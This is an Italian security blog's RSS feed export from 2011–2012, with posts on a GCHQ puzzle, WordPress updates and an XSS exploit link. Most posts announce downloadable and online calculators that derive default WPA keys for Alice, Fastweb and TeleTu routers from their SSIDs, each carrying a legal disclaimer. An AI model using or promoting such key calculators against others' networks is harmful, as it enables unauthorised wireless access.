<p>Link di riferimento</p>
<p><strong><a title="Zero Day Reflected Cross Site Scripting vulnerability in WordPress 3.3 - The Hackers News" href="http://thehackernews.com/2012/01/zero-day-reflected-cross-site-scripting.html" target="_blank">Zero Day Reflected Cross Site Scripting vulnerability in WordPress 3.3 &#8211; The Hackers News</a></strong><br />
<strong><a title="Sorgenti Exploit 0-day WordPress 3.3" href="http://pastebin.com/H1CeegTE" target="_blank">Sorgenti Pastebin.com</a></strong></p>
<p>&nbsp;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Teletu WPA Finder 1.3 by WifiShark</title>
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		<pubDate>Sun, 04 Dec 2011 09:29:02 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
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		<category><![CDATA[Software]]></category>
		<category><![CDATA[teletu wifi crack]]></category>
		<category><![CDATA[teletu wireless crack]]></category>
		<category><![CDATA[teletu wpa]]></category>
		<category><![CDATA[teletu wpa crack]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wifi crack]]></category>
		<category><![CDATA[wpa finder]]></category>
		<category><![CDATA[wpa finder 1.3 download]]></category>

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		<description><![CDATA[Lo scorso 27 Novembre lo Staff del noto Team WifiShark hanno rilasciato l&#8217;ultima versione, la 1.3, del tool per calcolare le chiavi Wpa per le reti Teletu. L&#8217;utente swsooue l&#8217;ha pubblicato tramite il Forum della Community WifiShark in questo post. In questa ultima versione del Teletu Wpa Finder sono stati aumentati i macig numbers e [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/12/tele2.jpg" rel="lightbox[3973]" title="Teletu WPA Finder 1.3"><img class="size-thumbnail wp-image-3974 alignleft" title="Teletu WPA Finder 1.3" src="http://www.capn3m0.org/wp-content/uploads/2011/12/tele2-150x150.jpg" alt="Teletu WPA Finder 1.3 by WifiShark" width="150" height="150" /></a>Lo scorso 27 Novembre lo Staff del noto <a title="WifiShark Forum" href="http://wiki.wifi-shark.co.cc/doku.php" target="_blank"><strong>Team WifiShark</strong></a> hanno rilasciato l&#8217;ultima versione, la <strong>1.3</strong>, del tool per <strong>calcolare le chiavi Wpa per le reti Teletu</strong>.</p>
<p>L&#8217;utente <strong>swsooue</strong> l&#8217;ha pubblicato tramite il Forum della <strong>Community WifiShark</strong> in questo <a href="http://forum.wifi-shark.co.cc/showthread.php?tid=1638" target="_blank"><strong>post</strong></a>.</p>
<p>In questa ultima versione del <strong>Teletu Wpa Finder</strong> sono stati aumentati i macig numbers e di conseguenza sarà possibile <strong>calcolare le chiavi Wpa</strong> di un numero maggiore di SSID.</p>
<p>Potete effettuare il <strong>download</strong> dal seguente link:</p>
<p><a title="TeleTu Wpa Finder 1.3" href="http://adf.ly/41SAO" target="_blank"><strong>TeleTu Wpa Finder 1.3 DOWNLOAD</strong></a></p>
<p>Ringraziamo la<strong> community WifiShark</strong> per la passione e la dedizione nello studio delle reti Wireless.</p>
<p><strong>N.B. </strong></p>
<p><strong>Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).</strong></p>
<p><strong> Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.</strong></p>
<p><strong>L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.</strong></p>
]]></content:encoded>
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		<title>Can you crack it? GCHQ cerca nuovi hacker!</title>
		<link>http://www.capn3m0.org/can-you-crack-it-gchq-cerca-hacker.html</link>
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		<pubDate>Sat, 03 Dec 2011 07:31:40 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
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		<description><![CDATA[La notizia ha già fatto il giro del mondo ma comunque è degna di nota. La sigla GCHQ non ci ricorda molto ma nelle ultime ore ogni blog o sito addetto ai lavori ne parla e ne ride. Il GCHQ altro non è che il Government Communications Headquarters, ossia l&#8217;agenzia inglese per lo spionaggio delle [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/12/gchq.gif" rel="lightbox[3961]" title="GCHQ"><img class="alignleft size-full wp-image-3962" title="GCHQ" src="http://www.capn3m0.org/wp-content/uploads/2011/12/gchq.gif" alt="Can you crack it? GCHQ cerca nuovi hacker!" width="150" height="150" /></a>La notizia ha già fatto il giro del mondo ma comunque è degna di nota.</p>
<p>La sigla <a title="CGHQ" href="http://www.gchq.gov.uk" target="_blank"><strong>GCHQ</strong></a> non ci ricorda molto ma nelle ultime ore ogni blog o sito addetto ai lavori ne parla e ne ride.</p>
<p>Il <strong>GCHQ</strong> altro non è che il <strong>Government Communications Headquarters</strong>, ossia l&#8217;agenzia inglese per lo spionaggio delle comunicazioni che lavora a stretto contatto con i Servizi Segreti MI5 e MI6 per proteggere, monitorare e intervenire per la <strong>sicurezza</strong> dell&#8217;Inghilterra e dei suoi cittadini, in primis la Regina!</p>
<p>Dal nome e da questa breve descrizione ci si aspetta un <strong>team dei migliori hackers inglesi</strong> che giorno e notte veglia sulla vecchia Inghilterra per evitare che qualcuno decida di attaccarla o creargli problemi. Per fare ciò hanno bisogno di nuovi analisti e perciò, in gran segreto, hanno deciso di indire un concorso dal nome &#8220;<a title="Can You Cracak It?" href="http://www.canyoucrackit.co.uk/" target="_blank"><strong>Can you crack it?</strong></a>&#8221; dove solo chi riesce a risolvere l&#8217;<strong>enigma</strong> può avere accesso all&#8217;area dove si lasciano i propri dati e ci si candida per l&#8217;offerta di lavoro.</p>
<p>Il &#8220;concorso&#8221; è a tempo, dura 10 giorni (nel momento in cui scrivo mancano ancora 8 giorni e 16 ore) e consiste nel <strong>decriptare un codice partendo da una tabella di coppie di valori esadecimali.</strong></p>
<p>Questa l&#8217;home page del sito:</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/12/canyoucrackit.jpg" rel="lightbox[3961]" title="canyoucrackit"><img class="aligncenter size-medium wp-image-3963" title="canyoucrackit" src="http://www.capn3m0.org/wp-content/uploads/2011/12/canyoucrackit-300x176.jpg" alt="Can you crack it? GCHQ cerca nuovi hacker!" width="300" height="176" /></a></p>
<p>Il motivo per cui tale notizia continua a far scalpore è dovuto al fatto che con una semplice ricerca su Google è stato possibile bypassare la pagina iniziale ed arrivare direttamente a quella dove lasci i dati per candidarti all&#8217;offerta di lavoro.</p>
<p>Per trovarla è bastato eseguire la più semplice delle ricerche di Google:</p>
<p><strong>inurl:canyoucrackit.co.uk</strong></p>
<p>e tra i primi risultati si ottiene l&#8217;url:</p>
<p><a title="Can You Crack It? - Solution" href="http://www.canyoucrackit.co.uk/soyoudidit.asp" target="_blank"><strong>http://www.canyoucrackit.co.uk/soyoudidit.asp</strong></a></p>
<p>che porta direttamente alla pagina di congratulazioni.</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/12/canyoucrackit2.jpg" rel="lightbox[3961]" title="Can You Crack It? - Solution"><img class="aligncenter size-medium wp-image-3964" title="Can You Crack It? - Solution" src="http://www.capn3m0.org/wp-content/uploads/2011/12/canyoucrackit2-300x145.jpg" alt="Can you crack it? GCHQ cerca nuovi hacker!" width="300" height="145" /></a></p>
<p>Una svista non da poco per chi dovrebbe difendere la Regina! <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_smile.gif' alt="Can you crack it? GCHQ cerca nuovi hacker!" class='wp-smiley' title="Can you crack it? GCHQ cerca nuovi hacker! pics" /> </p>
<p>Dopo la scoperta la pagina è stata tolta dall&#8217;indicizzazione di Google ma ormai la notizia era arrivata alle orecchie di tutti.</p>
<p>Per chi volesse mettere alla prova le sue abilità cercando in Internet potrà trovare molte informazioni su come effettuare il decrypt corretto dell&#8217;esercizio <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_wink.gif' alt="Can you crack it? GCHQ cerca nuovi hacker!" class='wp-smiley' title="Can you crack it? GCHQ cerca nuovi hacker! pics" /> </p>
<p><a title="Can you crack it? - Soluzione" href="http://adf.ly/40O83" target="_blank"><strong>Qui</strong></a> trovate la <a title="Can you crack it? - Soluzione" href="http://adf.ly/40O83" target="_blank"><strong>soluzione</strong></a>, invece! <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_wink.gif' alt="Can you crack it? GCHQ cerca nuovi hacker!" class='wp-smiley' title="Can you crack it? GCHQ cerca nuovi hacker! pics" /> </p>
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		<title>Tool Alice Wpa Calculator Online</title>
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		<pubDate>Tue, 29 Nov 2011 00:43:36 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
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		<description><![CDATA[Dopo il successo di ieri con la pubblicazione del Fastweb Wpa Calculator OnLine oggi provvediamo ad annunciare il rilascio della prima versione dell&#8217;Alice Wpa Calculator OnLine. In questa prima versione sono presenti tutti i Magic Numbers aggiornati a Settembre 2011 ed è possibile calcolare la Wpa sia inserendo il solo SSID Alice (Es. Alice-12345678) sia [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/11/wifi-hacking.png" rel="lightbox[3955]" title="wifi hacking"><img class="alignleft size-thumbnail wp-image-3956" title="wifi hacking" src="http://www.capn3m0.org/wp-content/uploads/2011/11/wifi-hacking-150x150.png" alt="Tool Alice Wpa Calculator Online" width="150" height="150" /></a>Dopo il successo di ieri con la pubblicazione del <a href="http://www.capn3m0.org/fastweb-wpa-calculator-online"><strong>Fastweb Wpa Calculator OnLine</strong></a> oggi provvediamo ad annunciare il rilascio della prima versione dell&#8217;<a href="http://www.capn3m0.org/alice-wpa-calculator-online"><strong>Alice Wpa Calculator OnLine</strong></a>.</p>
<p>In questa prima versione sono presenti tutti i Magic Numbers aggiornati a Settembre 2011 ed è possibile <strong>calcolare la Wpa</strong> sia inserendo il solo <strong>SSID Alice</strong> (Es. Alice-12345678) sia inserendo SSID più Mac Address del Modem.</p>
<p>Per ora vi invitiamo a testare il nostro tool per il <strong>calcolo delle Wpa Alice</strong> direttamente online e qualora dovessero verificarsi anomalie o errori contattateci.</p>
<p style="text-align: center;"><a href="http://www.capn3m0.org/alice-wpa-calculator-online"><span style="font-size: large;"><strong>PROVATELO QUI</strong></span></a></p>
<p><strong>N.B. </strong></p>
<p><strong>Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).</strong></p>
<p><strong> Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.</strong></p>
<p><strong>L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.</strong></p>
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		<title>Tool Fastweb Wpa Calculator Online</title>
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		<pubDate>Sun, 27 Nov 2011 09:03:34 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
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		<description><![CDATA[Dopo le numerose richieste ricevute via email o dai vostri commenti abbiamo deciso di creare il nostro Tool on line che consente il calcolo delle chiavi Wpa Fastweb senza dover scaricare il software Wpa Tester o Wpa Calculator. Il tool è stato pubblicato a questo link e per l&#8217;occasione abbiamo provveduto a ri-organizzare il Menu [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/11/fastweb.jpg" rel="lightbox[3921]" title="fastweb"><img class="alignleft size-thumbnail wp-image-3906" title="fastweb" src="http://www.capn3m0.org/wp-content/uploads/2011/11/fastweb-150x150.jpg" alt="Tool Fastweb Wpa Calculator Online" width="150" height="150" /></a>Dopo le numerose richieste ricevute via email o dai vostri commenti abbiamo deciso di creare il nostro <strong>Tool on line</strong> che consente il <strong>calcolo delle chiavi Wpa Fastweb</strong> senza dover scaricare il software <strong>Wpa Tester o Wpa Calculator</strong>.</p>
<p>Il tool è stato pubblicato a <a href="http://www.capn3m0.org/fastweb-wpa-calculator-online" target="_blank"><strong>questo link</strong></a> e per l&#8217;occasione abbiamo provveduto a ri-organizzare il Menu in alto. Allo stato attuale è stata creata la voce <strong>Tools </strong>nel quale sono stati raggruppati tutto ciò che è abbiamo sviluppato in questi anni.</p>
<p>Al momento troverete:</p>
<p>- <a href="http://www.capn3m0.org/fastweb-wpa-calculator-online"><strong>Fastweb Wpa Calculator On Line</strong></a> per il calcolo delle chiavi Wpa dei Router Fastweb</p>
<p>- <a href="http://www.capn3m0.org/md5-encrypt-decrypt"><strong>Md5 Encrypt/Decrypt Tool</strong></a> per criptare e decriptare gli hash MD5 usati prevalentemente per le passwords</p>
<p>- <strong><a href="http://www.capn3m0.org/wp-users-page">Wp-users-page</a> </strong>plugin per WordPress per generare la lista dello Staff</p>
<p>A breve provvederemo a sviluppare anche lo script per il <strong>calcolo on line delle chiavi Wpa</strong> di <strong>Alice</strong> e di <strong>TeleTu</strong>.</p>
<p>Per ora vi invitiamo a testare il nostro tool per il <strong>calcolo delle Wpa Fastweb</strong> direttamente online e qualora dovessero verificarsi anomalie o errori contattateci.</p>
<p style="text-align: center;"><a href="http://www.capn3m0.org/fastweb-wpa-calculator-online"><span style="font-size: large;"><strong>PROVATELO QUI</strong></span></a></p>
<p><strong>N.B. </strong></p>
<p><strong>Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).</strong></p>
<p><strong> Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.</strong></p>
<p><strong>L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.</strong></p>
]]></content:encoded>
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		<title>Wpa Tester 1.7, ora anche TeleTu oltre ad Alice e Fastweb</title>
		<link>http://www.capn3m0.org/wpa-tester-1.7-ora-anche-teletu-oltre-ad-alice-e-fastweb.html</link>
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		<pubDate>Tue, 22 Nov 2011 21:20:05 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
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		<description><![CDATA[Pochi giorni fa avevamo pubblicato questo articolo dove veniva recensita la versione 1.6 del noto software Wpa Tester creato da Francesco Pompili per l&#8217;analisi, il calcolo e il crack delle reti Wifi di Telecom Alice e Fastweb. Questa versione rispetto alle precedenti grazie all&#8217;aggiornamento del file &#8220;config.txt&#8221; permetteva di analizzare un numero maggiori di reti [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/11/wifi-courtesy_cvas.jpg" rel="lightbox[3887]" title="wifi-courtesy_cvas"><img class="alignleft size-thumbnail wp-image-3888" title="wifi-courtesy_cvas" src="http://www.capn3m0.org/wp-content/uploads/2011/11/wifi-courtesy_cvas-150x150.jpg" alt="Wpa Tester 1.7, ora anche TeleTu oltre ad Alice e Fastweb" width="150" height="150" /></a>Pochi giorni fa avevamo pubblicato <a href="http://www.capn3m0.org/alice-fastweb-wpa-tester-1.6-sett-2011.html"><strong>questo articolo</strong></a> dove veniva recensita la versione 1.6 del noto software <strong></strong><strong>Wpa Tester</strong> creato da Francesco Pompili per l&#8217;analisi, il calcolo e il <strong>crack delle reti Wifi di Telecom Alice e Fastweb</strong>.</p>
<p>Questa versione rispetto alle precedenti grazie all&#8217;aggiornamento del file &#8220;config.txt&#8221; permetteva di analizzare un numero maggiori di reti che fino a qualche tempo fa non permettevano di calcolare la chiave Wpa.</p>
<p>La nuova versione di cui andiamo a parlare oggi, rilasciata da qualche ora, è la versione <strong>1.7 del <em>Wpa Tester</em></strong> e integra il supporto al calcolo delle reti del <strong>Provider TeleTu</strong> finora rimasto in secondo piano.</p>
<p>Per quanto riguarda il <strong>cracking delle reti Alice e Fastweb</strong> non è stato aggiornato nulla pertanto l&#8217;unica vera differenza rispetto alla precedente versione è appunto il supporto a TeleTu.</p>
<p>Ancora una volta ringraziamo <a href="http://www.francesco-pompili.it/" target="_blank">Francesco Pompili</a> per il suo lavoro nello sviluppo di <strong><span style="text-decoration: underline;">Wpa Tester</span></strong>.</p>
<p><a title="Wpa Tester 1.7" href="http://adf.ly/3xXe1" target="_blank"><strong>Wpa Tester 1.7 DOWNLOAD</strong></a></p>
<p><strong><span style="color: #ff0000;">AGGIORNAMENTO 27/11/2011</span></strong> &#8211; Le Wpa delle reti wireless Fastweb possono essere calcolate direttamente on line tramite il<a href="http://www.capn3m0.org/fastweb-wpa-calculator-online"><strong> tool Fastweb Wpa Calculator OnLine</strong></a>.</p>
<p><strong><span style="color: #ff0000;">AGGIORNAMENTO 29/11/2011</span></strong> &#8211; Le Wpa delle reti wireless Alice possono essere calcolate direttamente on line tramite il<strong> <a href="http://www.capn3m0.org/alice-wpa-calculator-online">tool Alice Wpa Calculator OnLine</a></strong>.</p>
<p><strong>N.B. </strong></p>
<p><strong>Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).</strong></p>
<p><strong> Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.</strong></p>
<p><strong>L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.</strong></p>
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		<title>Wpa Tester 1.6 per Alice e Fastweb [SETT 2011]</title>
		<link>http://www.capn3m0.org/alice-fastweb-wpa-tester-1.6-sett-2011.html</link>
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		<pubDate>Tue, 15 Nov 2011 09:33:50 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
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		<description><![CDATA[Dall&#8217;ultimo update pubblicato a Maggio 2011 sono stati effettuati ulteriori aggiornamenti del noto software Wpa Tester che permette di calcolare le chiavi di accesso per le reti WiFi degli operatori Alice e Fastweb. Attualmente è possibile ottenere la chiave WPA di nuove serie di SSID che in precedenza non si potevano calcolare pertanto coloro che [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/11/wpatester.jpg" rel="lightbox[3824]" title="wpatester"><img class="alignleft size-thumbnail wp-image-3825" title="wpatester" src="http://www.capn3m0.org/wp-content/uploads/2011/11/wpatester-150x150.jpg" alt="Wpa Tester 1.6 per Alice e Fastweb [SETT 2011]" width="150" height="150" /></a>Dall&#8217;ultimo update pubblicato a <a href="http://www.capn3m0.org/upgrade-alice-wpa-calculator-2011.html">Maggio 2011</a> sono stati effettuati ulteriori aggiornamenti del noto software <strong></strong><strong>Wpa Tester</strong> che permette di <strong>calcolare le chiavi di accesso per le reti WiFi degli operatori Alice e Fastweb</strong>.</p>
<p>Attualmente è possibile <strong>ottenere la chiave WPA</strong> di nuove serie di SSID che in precedenza non si potevano calcolare pertanto coloro che mi hanno scritto personalmente o hanno scritto sul blog per richiedere il calcolo di un SSID sono pregati di utilizzare il nuovo software e verificare se così facendo riescono ad ottenere la chiave della connessione WiFi.</p>
<p>Per la nuova versione si ringrazia il lavoro svolto da <strong>Francesco Pompili</strong> che con il <a href="http://www.francesco-pompili.it/" target="_blank"><strong>suo blog</strong></a> provvede a pubblicare periodicamente nuovi software e nuove info utili allo studio approfondito delle reti e dei loro dispositivi.</p>
<p>L&#8217;utilizzo di <em>Wpa Tester</em>  è molto semplice, basterà avviarlo, andare nella Tab &#8220;<strong>ALICE AGPF</strong>&#8221; e a questo punto inserire il SSID della propria connessione Alice e nel riquadro in basso verranno visualizzati tutte le possibili chiavi WPA per l&#8217;accesso alla rete.</p>
<p><a title="Wpa Tester 1.6" href="http://adf.ly/3xXe2" target="_blank"><strong>Wpa Tester 1.6 DOWNLOAD</strong></a></p>
<p>A <a href="http://www.capn3m0.org/wpa-tester-1.7-ora-anche-teletu-oltre-ad-alice-e-fastweb.html"><strong>questo articolo</strong></a> è stata pubblicata la nuova versione che include anche il <strong>calcolo Wpa delle chiavi TeleTu</strong>.</p>
<p><strong><span style="color: #ff0000;">AGGIORNAMENTO 27/11/2011</span></strong> &#8211; Le Wpa delle reti wireless Fastweb possono essere calcolate direttamente on line tramite il<a href="http://www.capn3m0.org/fastweb-wpa-calculator-online"><strong> tool Fastweb Wpa Calculator OnLine</strong></a>.</p>
<p><strong><span style="color: #ff0000;">AGGIORNAMENTO 29/11/2011</span></strong> &#8211; Le Wpa delle reti wireless Alice possono essere calcolate direttamente on line tramite il<strong> <a href="http://www.capn3m0.org/alice-wpa-calculator-online">tool Alice Wpa Calculator OnLine</a></strong>.</p>
<p><strong>N.B. </strong></p>
<p><strong>Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).</strong></p>
<p><strong> Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.</strong></p>
<p><strong>L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.</strong></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
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		<item>
		<title>Facebook, nuovamente attivo il cookie guardone</title>
		<link>http://www.capn3m0.org/facebook-nuovamente-attivo-il-cookie-guardone.html</link>
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		<pubDate>Wed, 12 Oct 2011 12:56:29 +0000</pubDate>
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		<description><![CDATA[Un ricercatore ha individuato nuovamente la presenza di un cookie spione in Facebook. Rimosso in passato, resta un mistero la sua nuova comparsa. Leggi anche: Anonymous, il prossimo obiettivo è Facebook . ]]></description>
			<content:encoded><![CDATA[<p>Un ricercatore ha individuato nuovamente la presenza di un cookie spione in Facebook. Rimosso in passato, resta un mistero la sua nuova comparsa.</p>
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<a title="Facebook, nuovamente attivo il cookie guardone" href="http://feedproxy.google.com/~r/webnewsit/~3/LH-bwzCzFYU/" target="_blank">Facebook, nuovamente attivo il cookie guardone</a></p>
<p>Source: <a title="Informazione dal mondo digitale" href="http://www.webnews.it" target="_blank">Webnews</a></p>
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		<title>Upgrade Alice Wpa Calculator 5/2011</title>
		<link>http://www.capn3m0.org/upgrade-alice-wpa-calculator-2011.html</link>
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		<pubDate>Tue, 07 Jun 2011 08:08:17 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Software]]></category>
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		<category><![CDATA[crack alice wpa]]></category>
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		<category><![CDATA[crack wifi]]></category>
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		<category><![CDATA[fastweb alice wpa calculator]]></category>
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		<category><![CDATA[magic number 2011]]></category>
		<category><![CDATA[wpa alice 2011]]></category>
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		<category><![CDATA[wpa calculator 2011]]></category>
		<category><![CDATA[wpa tester]]></category>

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		<description><![CDATA[Nel novembre 2010 pubblicammo un articolo circa la ricerca portata a termine dalla White Hats Crew italiani che riuscirono a fare il Reverse dell&#8217;algoritmo di assegnazione password dei Router Alice. Tale algoritmo si basa su un&#8217;equazione tra SSID della rete, Seriale del Router e due costanti ceh sono state definite &#8220;numeri magici&#8221; o &#8220;magic numbers&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/06/wifi.jpg" rel="lightbox[2753]" title="wifi"><img class="alignleft size-thumbnail wp-image-2754" title="wifi" src="http://www.capn3m0.org/wp-content/uploads/2011/06/wifi-150x150.jpg" alt="Upgrade Alice Wpa Calculator 5/2011" width="150" height="150" /></a>Nel novembre 2010 <a href="http://www.capn3m0.org/wifi-crack-alice-fastweb-wpa.html">pubblicammo</a> un articolo circa la <a href="http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/" target="_blank">ricerca</a> portata a termine dalla <a href="http://wifiresearchers.wordpress.com/" target="_blank"><strong>White Hats Crew</strong></a> italiani che riuscirono a fare il Reverse dell&#8217;algoritmo di assegnazione password dei Router Alice.</p>
<p>Tale algoritmo si basa su un&#8217;equazione tra SSID della rete, Seriale del Router e due costanti ceh sono state definite &#8220;numeri magici&#8221; o &#8220;magic numbers&#8221; (q e k).</p>
<p>Avendo a disposizione tutti questi fattori è possibile <strong>calcolare correttamente la password Wpa</strong> delle connessioni Telecom Alice. Da novembre ad oggi i &#8220;magic numbers&#8221; sono stati man mano aggiornati permettendo di ampliare le connessioni calcolabili.</p>
<p>Abbiamo provveduto ad aggiornare il Tool disponibile trami il nostro sito con i <strong>magic number aggiornati a Maggio 2011</strong>.</p>
<p>Dal seguente link potete scaricare il file aggiornato:</p>
<p><a title="Alice e Fastweb Wpa Calculator" href="http://adf.ly/3xXe3" target="_blank"><strong>Alice e Fastweb Wpa Calculator DOWNLOAD</strong></a></p>
<p><strong><span style="color: #ff0000;">AGGIORNAMENTO 27/11/2011</span></strong> &#8211; Le Wpa delle reti wireless Fastweb possono essere calcolate direttamente on line tramite il<a href="http://www.capn3m0.org/fastweb-wpa-calculator-online"><strong> tool Fastweb Wpa Calculator OnLine</strong></a>.</p>
<p><strong><span style="color: #ff0000;">AGGIORNAMENTO 29/11/2011</span></strong> &#8211; Le Wpa delle reti wireless Alice possono essere calcolate direttamente on line tramite il<strong> <a href="http://www.capn3m0.org/alice-wpa-calculator-online">tool Alice Wpa Calculator OnLine</a></strong>.</p>
<p><strong>N.B. </strong></p>
<p><strong>Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).</strong></p>
<p><strong> Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.</strong></p>
<p><strong>L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.</strong></p>
<p>&nbsp;</p>
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		<title>Upgrade WordPress 3.1.3 security release</title>
		<link>http://www.capn3m0.org/upgrade-wordpress-3.1.3-security-release.html</link>
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		<pubDate>Wed, 25 May 2011 23:29:56 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Web&Cms]]></category>
		<category><![CDATA[clickjacking]]></category>
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		<category><![CDATA[wordpress 3.1.3]]></category>

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		<description><![CDATA[A quasi un mese di distanza dalla release di sicurezza 3.1.2 di WordPress (26/4/2011) pochi minuti fa è stata rilasciata la nuovissima 3.1.3. Le principali novità e fix riguardano: Migliorie di sicurezza e delle query di tassonomia Fix di sicurezza del redirect canonical redirects Fix di sicurezza media Aggiunta prevenzione da azioni malevole tramite file [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/wordpress-logo.png" rel="lightbox[2739]" title="wordpress-logo"><img class="alignleft size-thumbnail wp-image-2600" title="wordpress-logo" src="http://www.capn3m0.org/wp-content/uploads/2011/05/wordpress-logo-150x150.png" alt="Upgrade WordPress 3.1.3 security release" width="150" height="150" /></a>A quasi un mese di distanza dalla release di sicurezza 3.1.2 di <strong>WordPress</strong> (26/4/2011) pochi minuti fa è stata rilasciata la nuovissima <strong>3.1.3</strong>.</p>
<p>Le principali novità e <strong>fix</strong> riguardano:</p>
<ul>
<li>Migliorie di sicurezza e delle query di tassonomia</li>
<li>Fix di sicurezza del redirect canonical redirects</li>
<li>Fix di sicurezza media</li>
<li>Aggiunta prevenzione da azioni malevole tramite file host</li>
<li>Pulizia del vecchio file di importazione di <strong>WordPress</strong> se l’importazione non giunge a termine.</li>
<li>Aggiunta protezione “clickjacking”</li>
</ul>
<p>Provvedere quanto prima ad aggiornare il vostro WordPress dall&#8217;Area Admin o scaricandolo da <a href="http://wordpress.org/download/" target="_blank"><strong>qui</strong></a>.</p>
<p>FONTE: <a href="http://www.wordpress-it.it/2011/05/25/wordpress-3-1-3-in-inglese/" target="_blank">http://www.wordpress-it.it/2011/05/25/wordpress-3-1-3-in-inglese/</a></p>
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		<title>BackBox Linux, l&#8217;alternativa italiana a BackTrack</title>
		<link>http://www.capn3m0.org/backbox-linux-alternativa-italiana-backtrack.html</link>
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		<pubDate>Sun, 22 May 2011 10:53:54 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[backbox]]></category>
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		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[evilsocket]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[raffaele forte]]></category>
		<category><![CDATA[sicurezza informatica]]></category>

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		<description><![CDATA[Qualche giorno fa abbiamo recensito la nuova release di BackTrack, la versione 5, che da anni è la distribuzione più utilizzata e completa per chi si occupa di sicurezza informatica. Da qualche mese, grazie all&#8217;ottimo lavoro di Raffaele Forte e Simone Margaritelli aka evilsocket, abbiamo una nuova distribuzione dedicata alla sicurezza chiamata BackBox Linux. Rilasciata [...]]]></description>
